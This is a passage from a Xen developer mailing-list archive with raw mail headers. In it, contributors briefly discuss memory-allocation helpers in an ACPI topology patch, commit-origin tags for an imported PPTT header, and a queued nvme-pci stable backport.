X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 474c39dd-d9ed-4898-5b32-08dee39b4cdd
X-MS-Exchange-CrossTenant-originalarrivaltime: 17 Jul 2026 00:35:28.1583
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: uvdZJdk+aupo4Q92TzaQ+eUeirn8Z+RGzvXKnsZA1c9kBxk1DpRSpyWdoaaBivIV3TxdViPbD0SQDs7n/xe1Jw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY7P286MB7155
X-purgate-ID: tlsNG-720697/1784248533-F16AF2AC-36050C72/0/0
X-purgate-type: clean
X-purgate-size: 1224

SGVsbG8sDQoNCj4gPj4+IC0tLSBhL3hlbi9kcml2ZXJzL2FjcGkvdG9wb2xvZ3kuYw0KPiA+Pj4g
KysrIGIveGVuL2RyaXZlcnMvYWNwaS90b3BvbG9neS5jDQo+ID4+DQo+ID4+DQo+ID4+PiAgaW50
IF9faW5pdCBhY3BpX2luaXRfY3B1X3RvcG9sb2d5KHZvaWQpDQo+ID4+PiAgew0KPiA+Pj4gKyAg
ICBhY3BpX3N0YXR1cyBzdGF0dXM7DQo+ID4+PiArICAgIHN0cnVjdCBhY3BpX3RhYmxlX2hlYWRl
ciAqdGFibGVfaGVhZGVyOw0KPiA+Pj4gKyAgICBjb25zdCBzdHJ1Y3QgYWNwaV90YWJsZV9wcHR0
ICpwcHR0Ow0KPiA+Pj4gKyAgICB1bnNpZ25lZCBpbnQgbnVtX3NvY2tldHMgPSAwOw0KPiA+Pj4g
KyAgICB1bnNpZ25lZCBpbnQgbnVtX2NsdXN0ZXJzID0gMDsNCj4gPj4+ICsgICAgdW5zaWduZWQg
aW50IG51bV9jb3JlcyA9IDA7DQo+ID4+PiArICAgIHVuc2lnbmVkIGludCAqc29ja2V0X21hcCA9
IHhtYWxsb2NfYXJyYXkodW5zaWduZWQgaW50LA0KPiBucl9jcHVfaWRzKTsNCj4gPj4+ICsgICAg
dW5zaWduZWQgaW50ICpjbHVzdGVyX21hcCA9IHhtYWxsb2NfYXJyYXkodW5zaWduZWQgaW50LA0K
PiBucl9jcHVfaWRzKTsNCj4gPj4+ICsgICAgdW5zaWduZWQgaW50ICpjb3JlX21hcCA9IHhtYWxs
b2NfYXJyYXkodW5zaWduZWQgaW50LA0KPiBucl9jcHVfaWRzKTsNCj4gPj4NCj4gPj4gVGhlc2Ug
aGF2ZSB0byBiZSB4em1hbGxvY19hcnJheSgpLg0KPiA+DQo+ID4geHphbGxvY19hcnJheSgpDQo+
IA0KPiB4dnphbGxvY19hcnJheSgpLiBBbmQgdGhlIG90aGVycyB4dm1hbGxvY19hcnJheSgpLiBT
ZWUgdGhlIHRvcCBvZg0KPiB4ZW4veHZtYWxsb2MuaC4NCg0KWWVzLCB5b3UgYXJlIHJpZ2h0LiBJ
IHdpbGwgZml4IGl0Lg0KIA0KSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 01:38:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 01:38:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364585.1615648 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkXWU-00047P-8p; Fri, 17 Jul 2026 01:37:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364585.1615648; Fri, 17 Jul 2026 01:37:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkXWU-00047H-53; Fri, 17 Jul 2026 01:37:54 +0000
Received: by outflank-mailman (input) for mailman id 1364585;
 Fri, 17 Jul 2026 01:37:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sashal@kernel.org>) id 1wkXWT-00047B-Ii
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 01:37:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkXWS-000hL0-1r
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 03:37:52 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sashal@kernel.org>)
 id 6a59872b-e002-0a2a0a5209dd-0a2a45079d4e-40
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 03:37:51 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <sashal@kernel.org>)
 id 6a59876e-b4ea-0a2a45070019-aceafc1fa648-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 03:37:51 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 894B440B72;
 Fri, 17 Jul 2026 01:37:49 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 300ED1F00A3E;
 Fri, 17 Jul 2026 01:37:48 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784252269;
	bh=Y0JmhZ8pROCmk2R5GBPaMFv77g2uucL9m80QATOf3sw=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References;
	b=jnz6qrwi3DFi3ZS7rV1dBwOFqqXGvR3y8uLRZveMwa9VOGI3QcN21MsaWuO1x8g6m
	 7880yH2flSdFn7cqBZ+1AJxboZOIGHUcqJZex3S/CpGsv5BX1jnO9Imuv0J5K7jURD
	 0ssLVLgV2e4wlLhOF+IyBy268zVVu05ivKba0+lsQQnTYeHgA8ZoT1XB9D0zcL8soE
	 Uu4Y9M5ZW/ljIfP+sp6KsIRVL4tMJISkP6nxht/HHrFOa9o56sbKZuz+nBUQ4oYp2e
	 hBIF9KpEuSJYf3UhTJ21xptmUtnctlhLbu57KWwbM4Lnr2tN7rErzZAfu+uRPQbwnF
	 GG8JV5khTPUug==
From: Sasha Levin <sashal@kernel.org>
To: Keith Busch <kbusch@kernel.org>
Cc: Sasha Levin <sashal@kernel.org>,
	Roger Pau Monne <roger.pau@citrix.com>,
	xen-devel@lists.xenproject.org,
	Jens Axboe <axboe@kernel.dk>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	linux-nvme@lists.infradead.org,
	linux-kernel@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Sagi Grimberg <sagi@grimberg.me>,
	stable@vger.kernel.org,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: Re: [PATCH] nvme-pci: fix parameter order in nvme_free_sgls() call
Date: Thu, 16 Jul 2026 21:37:29 -0400
Message-ID: <20260716232340.0002-stable-reply@kernel.org>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <alYfV2l-7p4Y3eX-@mail-itl>
References: <alYfV2l-7p4Y3eX-@mail-itl>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784252271-3C411AE4-8613F552/0/0
X-purgate-type: clean
X-purgate-size: 334

On Tue, Jul 14, 2026 at 01:36:55PM +0200, Marek Marczykowski-GÃ³recki wrote:
> I think this wants to be included in v6.18 too, as it also has the
> faulty commit. And indeed, I do hit this issue when running 6.18.38.

Nicolai Buchwitz sent a 6.18.y backport of this, which is now queued
for 6.18, thanks.

-- 
Thanks,
Sasha


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 04:54:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 04:54:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364630.1615657 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkaZz-00030f-EV; Fri, 17 Jul 2026 04:53:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364630.1615657; Fri, 17 Jul 2026 04:53:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkaZz-00030U-Ak; Fri, 17 Jul 2026 04:53:43 +0000
Received: by outflank-mailman (input) for mailman id 1364630;
 Fri, 17 Jul 2026 04:53:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wkaZw-00030M-VU
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 04:53:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkaZv-001dKF-EU
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 06:53:39 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a59b52f-e002-0a2a0a5209dd-0a2a4506a1cc-46
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 06:53:37 +0200
Received: from [52.101.229.80]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a59b54e-195a-0a2a45060019-3465e550ba23-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 06:53:36 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB1827.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:100::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Fri, 17 Jul
 2026 04:53:31 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 04:53:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=PaL5whuL8LSFXzz3etLDPrcc/stKz91Ziv93G9V/91xRNoZTDAmiN9PzlDtW3F7hOPbZgiQRzpn4ptyGv2bhkZ8R0byu01iLqm71mhiMRhigj+KFSDZ+rjpud9PbjDxarJ/wI38UonBwngRhkqLG4SmpqyxZNKRwVSrQrD748vTQls5K7wpfakLKdgQxWkCyAY+5IYHWZ4w6NF7yRtux5QVAhmdF2v28/IXs6146hrHyiXcRJBPfwJtVZKbadfkSLn6lLW0aDJJwSMFxj7ixPAKfmlsLdgBpKMwux98P9PQGx3N2OQtg6ooygTiScrF8wzQWjZer7u6GAip6Bz3RkQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9c1zapCuzjJUU4sk+MPFTu9l/x08DiDYrzy1X0bWahE=;
 b=AM88tz40ECuSNdpZ4RJ9W2vaThivk6nxk7FyUVVpwJM9DoYA2kiVjL22TYu8sj+RrStYC4lMuYP0Ai+stVl21qTcJJUDLa6NIWjICjbtYK0ZulGDzo08fnASuTAuZ6DZRDALpJLFlwvwOHvqUSsp/CcsCLK454mWNCCiSNJEH0VotogBPzuDxVmzAXfdOBZoRRmLKdcoF8rp6wjpFRwAXLsrODYFm0zWh1DRUm4lkBjaa8c/jNlWoBHDQsovfiN54K889S94i9JbSQlPgioI8+JYa6oxhKOgOaRZcMNfD6vkt+ZlOM5hMq2h9hSCjq5hyDOB5Hs07MRrGnC0+egwMQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9c1zapCuzjJUU4sk+MPFTu9l/x08DiDYrzy1X0bWahE=;
 b=gAiPN4S5FGEQaM1L0eJ/wzKKEljOq+blUWhcFAHVQl0QnDJRSZGiCPEGl1/8/iHy6MnCCtq42eUzgQdNBZRlSoFnxRmC/cHSdxXAQLNYNJZG+MRMTTCrF/IcC/tp7CUziydfsc785Q3wjLyH0TISAnH6k4R1/FuEC0CS9rtjMO8=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 4/5] xen/acpi: Import PPTT definitions from Linux
Thread-Topic: [PATCH v6 4/5] xen/acpi: Import PPTT definitions from Linux
Thread-Index: AQHdE335ELZPxIrmIUu65z0sAohBp7ZwPjQAgADq88A=
Date: Fri, 17 Jul 2026 04:53:31 +0000
Message-ID:
 <OS9P286MB72222AE885FF9CA3B2C25AAC82C62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-5-taka@valinux.co.jp>
 <077f245a-7a0d-497d-90db-6a0bfaf4bd0a@suse.com>
In-Reply-To: <077f245a-7a0d-497d-90db-6a0bfaf4bd0a@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYCP286MB1827:EE_
x-ms-office365-filtering-correlation-id: 46dceb57-4cda-4740-0b8a-08dee3bf59af
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|23010399003|376014|1800799024|18002099003|22082099003|38070700021|10067099003|56012099006|4143699003;
x-microsoft-antispam-message-info:
 Ie81RMbVkYLP6Q+prPOvkkvbsvO2D1Yr+CBiQOc3HUPow/sUcvZSmWWZ8TUsEpU9Ou8l6U2itqAhutRY7Y4pdSdIQfmzaytbf9e6kv4NY9l0WgT/j5bWwybPqBlhhTzij8SomQaoRTFB+jFO60rwdUjloTnmO2u6TQJwpb4xPTYYWz0t/v5RIgGfY4QV06I+MUBBQD45qX2XAZyWG9ocEccVRZu1rk7pCuS4sV+ZMz64Be99tRixoHPPODSIn1sFrm0mibmDU6IlzqdBKgnFpGYP/mxabcHgwMG+8O4Az8/YDV1yoqzjaPwCuJwoXWOyBiSKtwSrp0mKxsnwF0VPo7UtGCs5EC2ld6UTJmekcMLD2vf73UgO2hUCAbFOFfZ5tXGEXTBT37tKDeIdJoUsl4QyyNt7x3h4A4ze7DMjZQm//mhMjhb2iocp/HoOiB4vaO8/kXDDoLa4BkibcY21Yta+/wiXVXAM2hXjHQIcJ7e//WIRHlhxSCtxLbH6fqF3Kq/36Vc+6PCKCG5Tp98/fj+3Ni3BJUj2MmYW6sfFN0Oo6DGN3fDbWqpdQH1Tupuol0Kc3rW6nQ6VjWTYSu9Wqm/MRrt3A89S+oGt69x6B3ZuuGPCOW+c2x7w/jo6ipjNRq+JztXrUzwKguqRXXE2QK5tm1ziLgrBs1SYQNghRAYK6Be9fL79fJu5YEtAH+y75pHJ+DXyXbCMKBV51xAUMw==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(1800799024)(18002099003)(22082099003)(38070700021)(10067099003)(56012099006)(4143699003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?dzI0NVV0eEM3YUFtV091clB6Q251T085bStFWU9hdDlrcTZkb2FJSWc0MmZa?=
 =?utf-8?B?K2VpMU1EMWNYT0RSWlkxWUhicngvRzFOS0RLcUw5UHM4WGxJRnJtZVNLV3FG?=
 =?utf-8?B?VXFFSGlhTUhYNDEyTTZ0bEl5bHJnZTRJbkJ0cmthMlE3VU1NcXA4b1BkSUJY?=
 =?utf-8?B?c1haVnZkVGtyTXNJQkFYeWIxZ1ZxTEJZeDZXdmh3WlN0Z0hwM0xINnpPajQ1?=
 =?utf-8?B?dHlQK1ZoSG5IMkJ4QVBmTDZOdFZZQjJlVWJZYnRCajRyWGg0RStJSjFLYXNq?=
 =?utf-8?B?NUJWT05QQUhXWEdkMVRKU29WZVIvdmVhSDFQQ3Q5UWRSRndScTlyRFB0SEpl?=
 =?utf-8?B?VGgzVlhzRGtWOFp0ek1VV1VEcSsyd21oTGQ0V0lPRUpKazJONjNCckVTMk1D?=
 =?utf-8?B?dkZvbjM1Unk1SWxQQVVCVVdkSnQvZ29GNFpCdUlEdHFrSlNEazVpTllFS3Jw?=
 =?utf-8?B?RHNKVHg2Q2w4V2NXdGwvd21lMTkwVmQrbERMMVYyZ2Y2TlN3ay8ySUFJall0?=
 =?utf-8?B?Wi91R2ZKbnRNbElhcTFJcnlpSWlXRDNOOG43T1hvbHAzV1h1Z3dFRFFmYXVq?=
 =?utf-8?B?SW9TV3kzZnB1a2hESnpoSmlMZElpR0I3UTRobldnZ05BbGs1RlRYdFlHd1lY?=
 =?utf-8?B?M1Bnd3gydm94UmZ5K2cyVDBGellPajJtcjBTTUZiUEh5eGVzWFdPdk1wd2JS?=
 =?utf-8?B?U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RMNzVqMU5qUkptYnpQMG1CcVpwTlo4?=
 =?utf-8?B?SXppQWJpVk1KbDBuTFliWWJYQnZxSW8vdDI3WmJzUk5NbUdCd1M3akJTNVdO?=
 =?utf-8?B?UTBnYWI1d21JbEhZT0p1T3creE93S2RNVHFkcmxlV2dsTFo2MnJ5UndrQ1FF?=
 =?utf-8?B?VDNxbWlRMStORUN4SWs1emNEMTRxdW1MZC9ZN213VEdrbmcyTDdkWXprN1F2?=
 =?utf-8?B?dWtNcUlPdkhBUVdLc0k0cEJQWDltdW54bFJyUHJ4RkRURnh4b1dkTmV0Zldl?=
 =?utf-8?B?aWFYMzA0c0R0OGJQL3hqNjExTVd6SWg0VUFYTzREdkRZQjcxek5XVTNmd0N0?=
 =?utf-8?B?dnVXUXNGVWJ1bGRXVCs3bXNnNU16aWlpSVBIaGQ1TERUVktkZm1Pa2VOZktQ?=
 =?utf-8?B?MG0yMkUyWk1FTzlLUHE3K0tKQ2FoYVR6dFhKMmZnZTc1SHdkUUwvcTZydGNl?=
 =?utf-8?B?K3lndDZXTU9rT0hCZHphV0dvWjFqbkJzeXdBUGxhd1dKWktIbWExZTJqOFZQ?=
 =?utf-8?B?RlhjOXovZUFxTllHOHNPRE5pMm9tMkEySVk5bytsczdLSk1jSXM5aGxtZ3dD?=
 =?utf-8?B?bFdzYVcvYTV3OURXVzNNUUhiWmNQRGJ3UEtvQkRYN0w2cTBzdjhNN3hNejVx?=
 =?utf-8?B?TGFLUWQreXVYcUxmQ1o5SWRYV1FXU25xb2YyY3dDb25SOGtUTzlmL1lkNzli?=
 =?utf-8?Q?CV6QDz66tVBvxR/dPj?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 46dceb57-4cda-4740-0b8a-08dee3bf59af
X-MS-Exchange-CrossTenant-originalarrivaltime: 17 Jul 2026 04:53:31.5813
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: ONONTi6BuQ8jiItkopefj0Z+39Ln2xM4iRXZdSJG6J5TnP950V0DFf6hZQHHgjwWP+TOBooqKPsHa2rQ4SY2lA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB1827
X-purgate-ID: tlsNG-16d1c6/1784264017-FE07177B-973BCB0B/0/0
X-purgate-type: clean
X-purgate-size: 1220

SGVsbG8sDQoNCj4gU3ViamVjdDogUmU6IFtQQVRDSCB2NiA0LzVdIHhlbi9hY3BpOiBJbXBvcnQg
UFBUVCBkZWZpbml0aW9ucyBmcm9tIExpbnV4DQo+IA0KPiBPbiAxNC4wNy4yMDI2IDEyOjQ0LCBI
aXJva2F6dSBUYWthaGFzaGkgd3JvdGU6DQo+ID4gSW1wb3J0IHRoZSBQcm9jZXNzb3IgUHJvcGVy
dGllcyBUb3BvbG9neSBUYWJsZSAoUFBUVCkgZGVmaW5pdGlvbnMNCj4gPiBmcm9tIHRoZSBMaW51
eCBrZXJuZWwgaGVhZGVyIChpbmNsdWRlL2FjcGkvYWN0YmwyLmgpIGludG8gWGVuLg0KPiA+DQo+
ID4gT3JpZ2luOiBnaXQ6Ly9naXQua2VybmVsLm9yZy9wdWIvc2NtL2xpbnV4L2tlcm5lbC9naXQv
c3RhYmxlL2xpbnV4LXN0YWJsZS5naXQNCj4gMDkxYzRhZjM1NjJkDQo+IA0KPiBOb3QgcmVhbGx5
LiBUaGlzIHdhcyBvbmx5IGEgY29ycmVjdGlvbiB0byB3aGF0IHdhcyBkb25lIGVhcmxpZXIuDQo+
IGU2MmY4MjI3ODUxZCBtaXJyb3JlZCBhbiBBQ1BJQ0EgY29tbWl0IG1vdmluZyBQUFRUIGZyb20g
YWN0YmwxLmggdG8NCj4gYWN0YmwyLmguIGI4MzU1YmNhYzI1MyBpcyB3aGVyZSB0aGUgZGVmaW5p
dGlvbnMgZmlyc3QgYXBwZWFyZWQuIEknZA0KPiBzdWdnZXN0IHRvIHJlZmVyZW5jZSBhbGwgdGhy
ZWUgY29tbWl0cywgbWF5YmUgYWxzbyB0aGUgb25lIHRoYXQgd2FzDQo+IGluIG5lZWQgb2YgY29y
cmVjdGlvbi4NCj4gDQo+ID4gU2lnbmVkLW9mZi1ieTogSGlyb2thenUgVGFrYWhhc2hpIDx0YWth
QHZhbGludXguY28uanA+DQo+IA0KPiBXaXRoIHRoZSBPcmlnaW46IHRhZ3MgcHJvcGVybHkgc29y
dGVkOg0KPiBBY2tlZC1ieTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPg0KDQpPa2F5
LCBJIHdpbGwuDQoNCkhpcm9rYXp1IFRha2FoYXNoaS4NCg==


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 06:02:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 06:02:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364643.1615666 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkbeF-0003k9-7M; Fri, 17 Jul 2026 06:02:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364643.1615666; Fri, 17 Jul 2026 06:02:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkbeF-0003k2-3i; Fri, 17 Jul 2026 06:02:11 +0000
Received: by outflank-mailman (input) for mailman id 1364643;
 Fri, 17 Jul 2026 06:02:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wkbeC-0003jw-Rw
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 06:02:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkbeC-009vBH-7V
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 08:02:08 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a59c557-5cb7-0a2a0a5109dd-0a2a4503e41c-32
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:02:07 +0200
Received: from [40.107.74.82]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a59c55a-fae8-0a2a45030019-286b4a52c5d4-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 08:02:04 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYRP286MB4688.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:1b0::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Fri, 17 Jul
 2026 06:01:59 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 06:01:59 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
